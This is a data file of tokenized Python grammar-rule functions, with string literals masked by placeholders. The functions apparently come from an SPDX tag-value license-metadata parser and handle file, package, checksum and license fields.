{"signature": "def p_prj_uri_art_2(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_atrificat_of_project(self.document, '<STR_LIT>', value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "prj_uri_art : ART_PRJ_URI LINE", "id": "f3753:c0:m23"}
{"signature": "def p_prj_uri_art_3(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "prj_uri_art : ART_PRJ_URI error", "id": "f3753:c0:m24"}
{"signature": "def p_prj_home_art_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_file_atrificat_of_project(self.document, '<STR_LIT>', p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "prj_home_art : ART_PRJ_HOME LINE", "id": "f3753:c0:m25"}
{"signature": "def p_prj_home_art_2(self, p):", "body": "try:<EOL><INDENT>self.builder.set_file_atrificat_of_project(self.document,<EOL>'<STR_LIT>', utils.UnKnown())<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "prj_home_art : ART_PRJ_HOME UN_KNOWN", "id": "f3753:c0:m26"}
{"signature": "def p_prj_home_art_3(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "prj_home_art : ART_PRJ_HOME error", "id": "f3753:c0:m27"}
{"signature": "def p_prj_name_art_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_atrificat_of_project(self.document, '<STR_LIT:name>', value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "prj_name_art : ART_PRJ_NAME LINE", "id": "f3753:c0:m28"}
{"signature": "def p_prj_name_art_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno())<EOL>self.logger.log(msg)<EOL>", "docstring": "prj_name_art : ART_PRJ_NAME error", "id": "f3753:c0:m29"}
{"signature": "def p_file_dep_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_file_dep(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_dep : FILE_DEP LINE", "id": "f3753:c0:m30"}
{"signature": "def p_file_dep_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_dep : FILE_DEP error", "id": "f3753:c0:m31"}
{"signature": "def p_file_contrib_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_file_contribution(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_contrib : FILE_CONTRIB LINE", "id": "f3753:c0:m32"}
{"signature": "def p_file_contrib_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_contrib : FILE_CONTRIB error", "id": "f3753:c0:m33"}
{"signature": "def p_file_notice_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_notice(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_notice : FILE_NOTICE TEXT", "id": "f3753:c0:m34"}
{"signature": "def p_file_notice_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_notice : FILE_NOTICE error", "id": "f3753:c0:m35"}
{"signature": "def p_file_cr_text_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_file_copyright(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_cr_text : FILE_CR_TEXT file_cr_value", "id": "f3753:c0:m36"}
{"signature": "def p_file_cr_text_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_cr_text : FILE_CR_TEXT error", "id": "f3753:c0:m37"}
{"signature": "def p_file_cr_value_1(self, p):", "body": "if six.PY2:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "file_cr_value : TEXT", "id": "f3753:c0:m38"}
{"signature": "def p_file_cr_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "file_cr_value : NONE", "id": "f3753:c0:m39"}
{"signature": "def p_file_cr_value_3(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "file_cr_value : NO_ASSERT", "id": "f3753:c0:m40"}
{"signature": "def p_file_lics_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_license_comment(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_lics_comment : FILE_LICS_COMMENT TEXT", "id": "f3753:c0:m41"}
{"signature": "def p_file_lics_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_lics_comment : FILE_LICS_COMMENT error", "id": "f3753:c0:m42"}
{"signature": "def p_file_lics_info_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_file_license_in_file(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "file_lics_info : FILE_LICS_INFO file_lic_info_value", "id": "f3753:c0:m43"}
{"signature": "def p_file_lics_info_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_lics_info : FILE_LICS_INFO error", "id": "f3753:c0:m44"}
{"signature": "def p_file_lic_info_value_1(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "file_lic_info_value : NONE", "id": "f3753:c0:m45"}
{"signature": "def p_file_lic_info_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "file_lic_info_value : NO_ASSERT", "id": "f3753:c0:m46"}
{"signature": "def p_file_lic_info_value_3(self, p):", "body": "if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:1>]<EOL><DEDENT>p[<NUM_LIT:0>] = document.License.from_identifier(value)<EOL>", "docstring": "file_lic_info_value : LINE", "id": "f3753:c0:m47"}
{"signature": "def p_conc_license_1(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "conc_license : NO_ASSERT", "id": "f3753:c0:m48"}
{"signature": "def p_conc_license_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "conc_license : NONE", "id": "f3753:c0:m49"}
{"signature": "def p_conc_license_3(self, p):", "body": "if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:1>]<EOL><DEDENT>ref_re = re.compile('<STR_LIT>', re.UNICODE)<EOL>if (p[<NUM_LIT:1>] in config.LICENSE_MAP.keys()) or (ref_re.match(p[<NUM_LIT:1>]) is not None):<EOL><INDENT>p[<NUM_LIT:0>] = document.License.from_identifier(value)<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = self.license_list_parser.parse(value)<EOL><DEDENT>", "docstring": "conc_license : LINE", "id": "f3753:c0:m50"}
{"signature": "def p_file_name_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_name(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_name : FILE_NAME LINE", "id": "f3753:c0:m51"}
{"signature": "def p_file_name_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_name : FILE_NAME error", "id": "f3753:c0:m52"}
{"signature": "def p_spdx_id(self, p):", "body": "if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>if not self.builder.doc_spdx_id_set:<EOL><INDENT>self.builder.set_doc_spdx_id(self.document, value)<EOL><DEDENT>else:<EOL><INDENT>self.builder.set_file_spdx_id(self.document, value)<EOL><DEDENT>", "docstring": "spdx_id : SPDX_ID LINE", "id": "f3753:c0:m53"}
{"signature": "def p_file_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_comment(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_comment : FILE_COMMENT TEXT", "id": "f3753:c0:m54"}
{"signature": "def p_file_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_comment : FILE_COMMENT error", "id": "f3753:c0:m55"}
{"signature": "def p_file_type_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_file_type(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_type : FILE_TYPE file_type_value", "id": "f3753:c0:m56"}
{"signature": "def p_file_type_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_type : FILE_TYPE error", "id": "f3753:c0:m57"}
{"signature": "def p_file_chksum_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_file_chksum(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_chksum : FILE_CHKSUM CHKSUM", "id": "f3753:c0:m58"}
{"signature": "def p_file_chksum_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_chksum : FILE_CHKSUM error", "id": "f3753:c0:m59"}
{"signature": "def p_file_conc_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_concluded_license(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "file_conc : FILE_LICS_CONC conc_license", "id": "f3753:c0:m60"}
{"signature": "def p_file_conc_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_conc : FILE_LICS_CONC error", "id": "f3753:c0:m61"}
{"signature": "def p_file_type_value(self, p):", "body": "if six.PY2:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "file_type_value : OTHER\n                           | SOURCE\n                           | ARCHIVE\n                           | BINARY", "id": "f3753:c0:m62"}
{"signature": "def p_pkg_desc_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_desc(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_desc : PKG_DESC TEXT", "id": "f3753:c0:m63"}
{"signature": "def p_pkg_desc_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_desc : PKG_DESC error", "id": "f3753:c0:m64"}
{"signature": "def p_pkg_summary_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_summary(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_summary : PKG_SUM TEXT", "id": "f3753:c0:m65"}
{"signature": "def p_pkg_summary_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_summary : PKG_SUM error", "id": "f3753:c0:m66"}
{"signature": "def p_pkg_cr_text_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_cr_text(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_cr_text : PKG_CPY_TEXT pkg_cr_text_value", "id": "f3753:c0:m67"}
{"signature": "def p_pkg_cr_text_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_cr_text : PKG_CPY_TEXT error", "id": "f3753:c0:m68"}
{"signature": "def p_pkg_cr_text_value_1(self, p):", "body": "if six.PY2:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "pkg_cr_text_value : TEXT", "id": "f3753:c0:m69"}
{"signature": "def p_pkg_cr_text_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "pkg_cr_text_value : NONE", "id": "f3753:c0:m70"}
{"signature": "def p_pkg_cr_text_value_3(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "pkg_cr_text_value : NO_ASSERT", "id": "f3753:c0:m71"}
{"signature": "def p_pkg_lic_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_license_comment(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_lic_comment : PKG_LICS_COMMENT TEXT", "id": "f3753:c0:m72"}
{"signature": "def p_pkg_lic_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_lic_comment : PKG_LICS_COMMENT error", "id": "f3753:c0:m73"}
{"signature": "def p_pkg_lic_decl_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_license_declared(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "pkg_lic_decl : PKG_LICS_DECL conc_license", "id": "f3753:c0:m74"}
{"signature": "def p_pkg_lic_decl_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_lic_decl : PKG_LICS_DECL error", "id": "f3753:c0:m75"}
{"signature": "def p_pkg_lic_ff_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_license_from_file(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "pkg_lic_ff : PKG_LICS_FFILE pkg_lic_ff_value", "id": "f3753:c0:m76"}
{"signature": "def p_pkg_lic_ff_value_1(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "pkg_lic_ff_value : NONE", "id": "f3753:c0:m77"}
{"signature": "def p_pkg_lic_ff_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "pkg_lic_ff_value : NO_ASSERT", "id": "f3753:c0:m78"}
{"signature": "def p_pkg_lic_ff_value_3(self, p):", "body": "if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:1>]<EOL><DEDENT>p[<NUM_LIT:0>] = document.License.from_identifier(value)<EOL>", "docstring": "pkg_lic_ff_value : LINE", "id": "f3753:c0:m79"}
{"signature": "def p_pkg_lic_ff_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_lic_ff : PKG_LICS_FFILE error", "id": "f3753:c0:m80"}
{"signature": "def p_pkg_lic_conc_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_licenses_concluded(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "pkg_lic_conc : PKG_LICS_CONC conc_license", "id": "f3753:c0:m81"}
{"signature": "def p_pkg_lic_conc_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_lic_conc : PKG_LICS_CONC error", "id": "f3753:c0:m82"}
{"signature": "def p_pkg_src_info_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_source_info(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_src_info : PKG_SRC_INFO TEXT", "id": "f3753:c0:m83"}
{"signature": "def p_pkg_src_info_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_src_info : PKG_SRC_INFO error", "id": "f3753:c0:m84"}
{"signature": "def p_pkg_chksum_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_chk_sum(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_chksum : PKG_CHKSUM CHKSUM", "id": "f3753:c0:m85"}
{"signature": "def p_pkg_chksum_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_chksum : PKG_CHKSUM error", "id": "f3753:c0:m86"}
{"signature": "def p_pkg_verif_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_verif_code(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "pkg_verif : PKG_VERF_CODE LINE", "id": "f3753:c0:m87"}
{"signature": "def p_pkg_verif_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_verif : PKG_VERF_CODE error", "id": "f3753:c0:m88"}
{"signature": "def p_pkg_home_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_down_location(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_home : PKG_HOME pkg_home_value", "id": "f3753:c0:m89"}
{"signature": "def p_pkg_home_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>']<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_home : PKG_HOME error", "id": "f3753:c0:m90"}
{"signature": "def p_pkg_home_value_1(self, p):", "body": "if six.PY2:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "pkg_home_value : LINE", "id": "f3753:c0:m91"}
{"signature": "def p_pkg_home_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "pkg_home_value : NONE", "id": "f3753:c0:m92"}
{"signature": "def p_pkg_home_value_3(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "pkg_home_value : NO_ASSERT", "id": "f3753:c0:m93"}
